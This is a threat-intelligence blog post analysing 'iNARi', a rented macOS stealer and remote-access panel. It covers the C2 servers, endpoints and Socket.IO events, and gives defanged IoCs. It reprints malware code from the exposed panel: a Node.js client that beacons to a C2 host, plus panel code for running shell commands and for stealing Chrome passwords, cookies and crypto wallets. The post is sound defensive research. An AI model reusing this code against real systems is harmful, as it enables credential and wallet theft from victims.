While I was scrolling through the X platform the other day, a post from DarkWebInformer grabbed my attention. It dropped a screenshot of a darknet forum thread titled "iNARi (Private MacOS Loader / Stealer / Remote Desktop)" uploaded by a user called patrick_star_dust
on April 15, 2025, at 10:53 PM PDT. Tucked away in the Malware section, this post laid out a malware toolkit aimed squarely at macOS systems, available for rent at $5.000/month for the standard package or $10.000/month if you want the premium version with remote desktop goodies (a bit on the expensive side if you ask me... guess they have a good go-to-market strategy :D).
It bragged about features like system persistence without needing passwords, support for delivery methods like off-line scripts, one-liner terminal commands, DMG files, and PKG packages, and a modular setup that handles everything from data theft to VNC remote access. Plus, it dangled an offer to collaborate for a slice of the macOS targets’ juicy financial balances—definitely a profit-driven play. That got me curious, so I started digging to understand better what's going on here.

The first step was to figure out the infrastructure behind it. The post suggested reaching out to the seller via private message through a guarantor—a classic MO keep things under wraps. We zeroed in on five C2 (thanks Censys) servers hosted at IPs:
65[.]87[.]7[.]115:8080
65[.]87[.]7[.]103:8080
62[.]60[.]157[.]47:8080
213[.]176[.]114[.]228:8080
77[.]239[.]97[.]85:8080
There’s a chance more beacons are lurking out there, hinting this setup might be bigger than it seems. To get a clearer picture, I started probing with
curl -v http://65[.]87[.]7[.]115:8080/api/auth/permissions
, which threw back a 401 Unauthorized
response with a Russian “Токен не предоставлен” (Token not provided) and an X-Powered-By: Express
header, pointing to an Express.js-based server (I wasn’t sure if it was Express at first, but the header confirmed it.) Tossing in a dummy token with -H "Authorization: Bearer dummy-token"
got me “Недействительный токен” (Invalid token), confirming a Bearer token authentication setup as hinted in the app.js
code. Similar 401
responses with “Требуется аутентификация” (Authentication required) popped up for /api/files/uploads
and /api/login
without credentials, showing a consistent security layer.
Then I stumbled on a glaring misstep. Hitting the main URL http://65[.]87[.]7[.]115:8080/
let me peek at the full iNARi C2 Panel interface (check the screenshot) before it redirected to the login page. Digging into it, this stems from a client-side authentication check in app.js
leaning on localStorage.getItem('authToken')
. The code snippet if (!localStorage.getItem('authToken')) { window.location.href = '/login.html'; return; }
is meant to lock things down, but the initial page load skips this because there’s no server-side redirect or HTTP authentication header (like WWW-Authenticate
) in play. That means anyone can grab the panel’s HTML and JavaScript, including app.js
, (basically showing the operational engine of it). That’s a bit of a rookie slip-up.
Wasn’t sure if it was just a honeypot at first, but nope—real C2, real endpoints.
Ref:

Then it redirects to the login page:

I kept digging with a reverse DNS lookup using
dig -x 65[.]87[.]7[.]115
, which came back NXDOMAIN
—a go-to trick for bad actors to hide their tracks by skipping reverse DNS records. To get more context, I ran a loop to check all IPs, and here’s what we got:
for ip in 65[.]87[.]7[.]115 65[.]87[.]7[.]103 62[.]60[.]157[.]47 213[.]176[.]114[.]228 77[.]239[.]97[.]85; do
echo "Reverse DNS for $ip:"
dig -x $ip +short
if [ $? -eq 0 ]; then
echo "Lookup successful"
else
echo "NXDOMAIN or lookup failed"
fi
echo "------------------------"
done
- Output:
65[.]87[.]7[.]115
: No hostname (lookup successful but no PTR record).65[.]87[.]7[.]103
: No hostname (lookup successful but no PTR record).62[.]60[.]157[.]47
: Resolves tosulky-passenger.aeza.network.
(lookup successful).213[.]176[.]114[.]228
: Resolves tobrisk-turkey.aeza.network.
(lookup successful).77[.]239[.]97[.]85
: Resolves toAkaFreem-Vpn.aeza.network.
(lookup successful).
This tells us three IPs (62[.]60[.]157[.]47
, 213[.]176[.]114[.]228
, 77[.]239[.]97[.]85
) are tied to Aeza International LTD, with those hostnames—possibly auto-generated or deliberately vague. The missing reverse DNS for 65[.]87[.]7[.]115
and 65[.]87[.]7[.]103
(both under Neopolitan Networks) fits the obfuscation pattern, though the successful lookups without results are a bit unusual—likely a configuration choice. I also pulled WHOIS data to map the hosting environment, updated with the ASN for 65[.]87[.]7[.]103
(ASN 215659):
65[.]87[.]7[.]115
and65[.]87[.]7[.]103
: ASN AS (215659 for65[.]87[.]7[.]103
), Organization Neopolitan Networks, Country USA, Abuseabuse@methean[.]com
62[.]60[.]157[.]47
: ASN AS210644, Organization Aeza International LTD, Country France, Abuseabuse@aeza[.]net
213[.]176[.]114[.]228
: ASN AS210644, Organization Aeza International LTD, Country Germany, Abuseabuse@aeza[.]net
77[.]239[.]97[.]85
: ASN AS210644, Organization Aeza International LTD, Country Sweden, Abuseabuse@aeza[.]net
The Aeza-managed IPs point to https://aeza[.]net/static/ipv4_f[.]csv
for geolocation, flagging a distributed VPS network across France, Germany, and Sweden. The older Neopolitan Networks block suggests a hybrid hosting strategy, possibly recycling legacy infrastructure—a common practice among providers. The reverse DNS hits reinforce Aeza’s role, while the Neopolitan IPs’ silence keeps them a bit in the shadows. Further research into Aeza International LTD (Company Number: 15109642, registered in the UK at 347 Barking Road, London, E13 8EE) reveals it operates under AS210644, managing 123,136 IP addresses, with additional operational ties to Sheffield, UK, and a Russian entity, Aeza Group, based in Krasnodar, as noted on Crunchbase. The domain aeza.network
, registered since October 4, 2021, via Porkbun LLC with privacy protection, hosts these server names, indicating its use within Aeza’s hosting ecosystem.
The HTML from http://65[.]87[.]7[.]115:8080/
showed a interface with Russian labels like “Панель управления” (Dashboard), hinting at a Russian-speaking crew. The app.js
file exposed a ton of endpoints and Socket.IO events, all locked behind auth. Let’s map those endpoints for the infrastructure picture:
- /api/auth/permissions (GET): Fetches user permissions, requires a Bearer token.
- /api/clients (GET): Pulls the client list, token-protected.
- /api/files/uploads (GET): Grabs uploaded files, needs auth.
- /api/files/download/:fileId (GET): Downloads a specific file by ID.
- /api/files/uploads/:fileId (DELETE): Deletes a file by ID.
- /api/upload (POST): Uploads a file to clients.
- /api/clients/:clientId/download (POST): Downloads a file from a client.
- /api/logs (GET): Fetches system logs.
- /api/logs/:clientId (GET): Gets logs for a specific client.
- /downloads/:fileName (GET): Accesses downloaded files (e.g.,
<clientId>_chrome_passwords_result[.]json
). - /login[.]html (GET): Redirects to login page (inferred from auth check).
Socket.IO events tie into this with sendCommand
, getChromePasswords
, decryptChromePasswords
, requestPasswords
, requestCookies
, requestWallets
, clientsList
, clientConnected
, clientDisconnected
, clientOutput
, fileUploaded
, fileDownloaded
, notification
, userInfo
, clientPasswordsData
, clientCookiesData
, clientWalletsData
, storedPasswordsData
, storedCookiesData
, storedWalletsData
, stealDataExportReady
, and passwordsDecryptionProgress
, all handled in real-time.
Now, let’s get to the juicy bit :) —the client itself. The generateClient()
function churns out this Node.js code, which runs on the victim’s machine:
// GMGN C2 Client - Generated
const net = require('net');
const os = require('os');
const config = {
serverHost: '${serverIp}',
serverPort: ${serverPort},
reconnectDelay: ${reconnectInterval}
};
function connectToServer() {
console.log(`Connecting to ${config.serverHost}:${config.serverPort}...`);
const socket = new net.Socket();
socket.connect(config.serverPort, config.serverHost, () => {
console.log('Connected to C2 server');
socket.write(`Connected - ${os.hostname()} (${os.platform()} ${os.arch()})`);
});
socket.on('data', async (data) => {
const command = data.toString().trim();
console.log(`Received command: ${command}`);
socket.write(`Command executed: ${command}`);
});
socket.on('close', () => {
console.log('Connection closed, reconnecting...');
setTimeout(connectToServer, config.reconnectDelay);
});
socket.on('error', (err) => {
console.log(`Connection error: ${err.message}`);
// Socket will close automatically after error
});
}
// Start the connection
connectToServer();
Plug in, say, serverHost: 65[.]87[.]7[.]115
, serverPort: 8080
, and reconnectDelay: 10000
, and this script fires up a TCP connection to the C2. It sends a string with the victim’s hostname, platform, and architecture (e.g., Connected - Inari-MacBook-Pro (darwin x64)
using os
module data), then waits for commands. If the link drops, it retries every 10 seconds. You can compile it with pkg
into iNARi_Client[.]app
or package it into a DMG, matching the forum’s delivery options. But the real action happens through the Socket.IO interactions in app.js
—let’s break down what the client can do based on that.
Client Capabilities:
1. Initial Connection and System Identification
- What It Does: Establishes a persistent TCP connection to the C2 server and identifies the infected system.
- How It Works: The generated client script uses
net.Socket
to connect to the specifiedserverHost
andserverPort
. Upon successful connection, it sends a string viasocket.write()
containing the output ofos.hostname()
,os.platform()
, andos.arch()
(e.g.,Connected - Inari-MacBook-Pro (darwin x64)
on a macOS system). If the connection is lost, thereconnectDelay
(e.g., 10000ms) triggers a retry viasetTimeout(connectToServer, config.reconnectDelay)
. - Obersavatiosn: The functionality is directly observed in the
generateClient()
function.
2. Command Execution and Remote Shell Access
- What It Does: Allows the execution of arbitrary shell commands on the victim’s system.
- Observations: The command execution mechanism is confirmed by the
sendCommand
event and client response logic. The exact method of command execution (e.g., shell invocation) is not detailed inapp.js
, but the client’s response confirms it processes and returns output, aligning with the observed functionality.
How It Works: The panel’s sendCommand(clientId, command)
function emits a sendCommand
event with the client ID, command, and an optional silent
flag:
socket.emit('sendCommand', {
clientId: clientId,
command: command,
silent: silent
});
The client receives this command via the data
event in the generated script, where socket.write(
Command executed: ${command})
sends a response. The panel’s handleCommandInput()
triggers this on Enter, appending the command and output to terminalContent
:
appendToTerminal(`<div><span class="prompt">${terminalPromptText}</span> ${command}</div>`);
The commandsHistory
array (limited to 20 entries) supports navigation with Arrow Up/Down, and commandsCounter
increments for non-silent commands. Silent commands, such as pwd || cd
in openTerminal()
, are used to fetch system data without user notification.
3. Password Theft from Chrome
- What It Does: Extracts and exfiltrates Chrome-stored passwords.
- Observation: The password theft process is accurately reflected in the
getChromePasswords
,clientOutput
, andfileDownloaded
events. The server’s role in accessing Chrome’sLogin Data
database and decrypting it is implied by the JSON structure and success message.
How It Works: Initiated by getChromePasswords(clientId)
, which emits a getChromePasswords
event:
socket.emit('getChromePasswords', {
clientId: clientId,
forceUpdate: true
});
The server processes this, and the result is returned via the clientOutput
event. If the output includes the marker ===== РЕЗУЛЬТАТ РАСШИФРОВКИ ПАРОЛЕЙ =====
, the panel parses the JSON data between this and ===== КОНЕЦ РЕЗУЛЬТАТА =====
, mapping it to a passwordsList
array:
socket.on('clientOutput', function (data) {
if (data.output.includes('===== РЕЗУЛЬТАТ РАСШИФРОВКИ ПАРОЛЕЙ =====')) {
const resultStartText = "===== РЕЗУЛЬТАТ РАСШИФРОВКИ ПАРОЛЕЙ =====";
const resultEndText = "===== КОНЕЦ РЕЗУЛЬТАТА =====";
const startIndex = data.output.indexOf(resultStartText) + resultStartText.length;
const endIndex = data.output.indexOf(resultEndText);
if (startIndex >= 0 && endIndex > startIndex) {
const resultJson = data.output.substring(startIndex, endIndex).trim();
const result = JSON.parse(resultJson);
if (result.success) {
const passwordsList = result.passwords.map(p => ({
url: p.origin_url || p.action_url || "https://example[.]com",
username: p.username || "",
password: p.password || ""
}));
stealData.get(data.id).passwords = passwordsList;
const fs = require('fs');
const path = require('path');
const dataDir = path.join(__dirname, 'data');
if (!fs.existsSync(dataDir)) fs.mkdirSync(dataDir, { recursive: true });
const passwordsPath = path.join(dataDir, `passwords_${data.id}[.]json`);
fs.writeFileSync(passwordsPath, JSON.stringify(passwordsList, null, 2));
console.log(`Пароли сохранены в файл: ${passwordsPath}`);
}
}
}
});
The fileDownloaded
event handles files like chrome_passwords_result[.]json
, fetching and parsing them:
socket.on('fileDownloaded', function (data) {
const downloadPath = `/downloads/${data.fileName}`;
fetch(downloadPath, {
headers: { 'Authorization': 'Bearer ' + localStorage.getItem('authToken') }
}).then(response => {
if (response.headers.get('content-type').includes('application/json')) {
return response.json();
} else {
return response.text().then(text => JSON.parse(text));
}
}).then(passwordsData => {
stealData.get(data.clientId).passwords = passwordsData;
if (passwordsModal.classList.contains('visible')) updatePasswordsTable(passwordsData);
showNotification(`Загружено ${passwordsData.length} паролей из Chrome`, 'success');
});
});
4. Cookie Extraction
- What It Does: Extracts browser cookies, likely from Chrome.
- Observations: The cookie extraction is directly supported by the
requestCookies
andclientCookiesData
events. The source (e.g., Chrome’sCookies
file) is inferred from context but not specified, so no assumptions are made beyond the data structure.
How It Works: Triggered by requestCookies(clientId)
, which emits requestCookies
and getStoredStealData
:
socket.emit('requestCookies', { clientId: clientId });
socket.emit('getStoredStealData', { clientId: clientId, type: 'cookies' });
The clientCookiesData
event delivers the cookie data:
socket.on('clientCookiesData', function (data) {
if (selectedClientId === data.clientId && cookiesModal.classList.contains('visible')) {
stealData.get(data.clientId).cookies = data.cookies;
updateCookiesTable(data.cookies);
}
});
5. Cryptocurrency Wallet Theft
- What It Does: Extracts wallet data from popular crypto applications.
- Observations: The wallet theft process is fully supported by the
requestWallets
,clientWalletsData
, andexportStealData
events. The specific file locations (e.g., MetaMask JSON) are contextual inferences but not assumed in the core functionality.
How It Works: Initiated by requestWallets(clientId)
, emitting requestWallets
and getStoredStealData
:
socket.emit('requestWallets', { clientId: clientId });
socket.emit('getStoredStealData', { clientId: clientId, type: 'wallets' });
The clientWalletsData
event handles the payload:
socket.on('clientWalletsData', function (data) {
if (selectedClientId === data.clientId && walletsModal.classList.contains('visible')) {
stealData.get(data.clientId).wallets = data.wallets;
updateWalletsTable(data.wallets);
}
});
Exporting triggers exportStealData()
:
socket.emit('exportStealData', { clientId: selectedClientId, type: 'wallets' });
socket.on('stealDataExportReady', function (data) {
const a = document.createElement('a');
a.href = data.url;
a.download = `${data.type}_client_${data.clientId}[.]csv`;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
});
6. File Management (Upload and Download)
- What It Does: Facilitates the upload of files to and download of files from the victim’s system.
- How It Works:
The fileUploaded
and fileDownloaded
events update the UI and handle file retrieval:
socket.on('fileDownloaded', function (data) {
const downloadPath = `/downloads/${data.fileName}`;
fetch(downloadPath).then(response => response.blob()).then(blob => {
const url = window.URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = data.fileName;
document.body.appendChild(a);
a.click();
window.URL.revokeObjectURL(url);
document.body.removeChild(a);
});
});
Download: The downloadFile()
function requests a file:
fetch(`/api/clients/${selectedClientId}/download`, {
method: 'POST',
headers: { 'Authorization': 'Bearer ' + localStorage.getItem('authToken'), 'Content-Type': 'application/json' },
body: JSON.stringify({ remotePath: downloadPath })
});
Upload: The uploadFile()
function sends a file via fetch
with FormData
:
const formData = new FormData();
formData.append('file', fileInput.files[0]);
formData.append('clientId', selectedClientId);
if (remotePath) formData.append('remotePath', remotePath);
fetch('/api/upload', {
method: 'POST',
headers: { 'Authorization': 'Bearer ' + localStorage.getItem('authToken') },
body: formData
});
- Observations: The upload and download processes are directly implemented in
uploadFile()
,downloadFile()
, and thefileDownloaded
event.
7. Logging and System Information Collection
- What It Does: Collects system logs and detailed system information.
- How It Works:
The downloadLogs(clientId)
function fetches logs as a .zip
file:
fetch(`/downloads/${fileName}`, {
method: 'GET',
headers: { 'Authorization': 'Bearer ' + localStorage.getItem('authToken') }
}).then(response => response.blob()).then(blob => {
const url = window.URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = fileName;
document.body.appendChild(a);
a.click();
setTimeout(() => {
document.body.removeChild(a);
window.URL.revokeObjectURL(url);
}, 100);
});
The clientSystemInfo
event updates client.systemInfo
:
socket.on('clientSystemInfo', function (data) {
if (clientsData.has(data.id)) {
const client = clientsData.get(data.id);
client.systemInfo = data.systemInfo;
clientsData.set(data.id, client);
}
});
- Observations: The
clientSystemInfo
event anddownloadLogs
function are directly coded, confirming system data and log collection. The format ofsystemInfo
is not specified, but its storage is verified.
8. Persistence and Reconnection
- What It Does: Maintains an active connection with automatic reconnection.
- Observations: None really :)
How It Works:
socket.on('close', () => {
console.log('Connection closed, reconnecting...');
setTimeout(connectToServer, config.reconnectDelay);
});
How It Grabs Information: Step-by-Step
- Connection: Connects to C2 (e.g.,
65[.]87[.]7[.]115:8080
) and sendsos.hostname()
,os.platform()
,os.arch()
. - Command Trigger: Panel sends events like
getChromePasswords
via Socket.IO. - Data Collection: Server processes commands to access:
- Passwords: Reads
Login Data
, decrypts with keychain, returns JSON. - Cookies: Pulls
Cookies
file, parses rows. - Wallets: Scans for wallet files, extracts data.
- Passwords: Reads
- Exfiltration: Data returns via
clientOutput
orfileDownloaded
, saved withfs.writeFileSync
, fetched by panel. - Logging: Logs archived and downloaded on demand.
Is it a bit Rookie?
Mmm, I think so. Exposing the panel and app.js
due to a client-side authentication flaw is a significant oversight. The absence of client-side command execution logic and the reliance on error-prone JSON parsing (with extensive try-catch blocks) suggest it lacks polish. This points to a proable financially motivated single actor still refining their approach, blending 'advanced' features with rookie mistakes.
Indicators of Compromise (IoCs) - Defanged
- Network:
- IPs: 65[.]87[.]7[.]115, 65[.]87[.]7[.]103, 62[.]60[.]157[.]47, 213[.]176[.]114[.]228, 77[.]239[.]97[.]85 (there may be more as you read this)
- Ports: 8080 (web portal)
- Domains: Reverse DNS unavailable (e.g.,
NXDOMAIN
for 65[.]87[.]7[.]115) - WebSocket:
ws://<ip>:8080/socket[.]io/
- Endpoints/URLs:
http://65[.]87[.]7[.]115:8080/api/clients
http://77[.]239[.]97[.]85:8080/downloads/<clientId>_chrome_passwords_result[.]json
- (Similar for other IPs)
- WHOIS Data:
65[.]87[.]7[.]115
and65[.]87[.]7[.]103
: ASN AS unknown (215659 for65[.]87[.]7[.]103
), Organization Neopolitan Networks, Country USA, Abuseabuse@methean[.]com
62[.]60[.]157[.]47
: ASN AS210644, Organization Aeza International LTD, Country France, Abuseabuse@aeza[.]net
213[.]176[.]114[.]228
: ASN AS210644, Organization Aeza International LTD, Country Germany, Abuseabuse@aeza[.]net
77[.]239[.]97[.]85
: ASN AS210644, Organization Aeza International LTD, Country Sweden, Abuseabuse@aeza[.]net
Diamond Model Analysis
- Adversary: Likely Russian-speaking, based on “Панель управления” and error messages. The
patrick_star_dust
post and guarantor setup point to a cybercrime group or probable single actor, driven by the rental model. - Capability: Offers client management, data theft, remote desktop, and modular delivery. The client handles TCP and command relay, with server-side Socket.IO boosting operations.
- Infrastructure: A distributed network with
65[.]87[.]7[.]115
and65[.]87[.]7[.]103
(Neopolitan Networks, USA),62[.]60[.]157[.]47
(France),213[.]176[.]114[.]228
(Germany), and77[.]239[.]97[.]85
(Sweden) under Aeza International LTD’s AS210644, managing 123,136 IP addresses. Ties to Aeza Group in Krasnodar, Russia, theres probably a broader operational footprint. - Victim: Primarily macOS users with crypto wallets, probably targeting high-value individuals (and also based on the base pricing of the rental).
Conclusion
The iNARi C2 Panel is a profit-hungry threat hitting macOS users. Its five-server spread, growth under Aeza International LTD’s infrastructure, and misconfiguration exposing app.js
provide a clear view of its operations. The authentication barriers prevented a deeper overview and -so far- I was unable to find evidence of this tool being widely used in the wild, but the IoCs and analysis lay a solid foundation for further investigation.
We have reported these IPs to the abuse contacts for each network—abuse@methean[.]com
for Neopolitan Networks and abuse@aeza[.]net
for Aeza International LTD—to aid in the disruption of the threat actor.